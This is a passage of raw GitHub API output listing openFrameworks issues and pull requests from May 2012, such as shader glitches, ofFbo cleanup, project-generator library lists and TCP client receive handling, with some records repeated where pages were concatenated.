}\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald 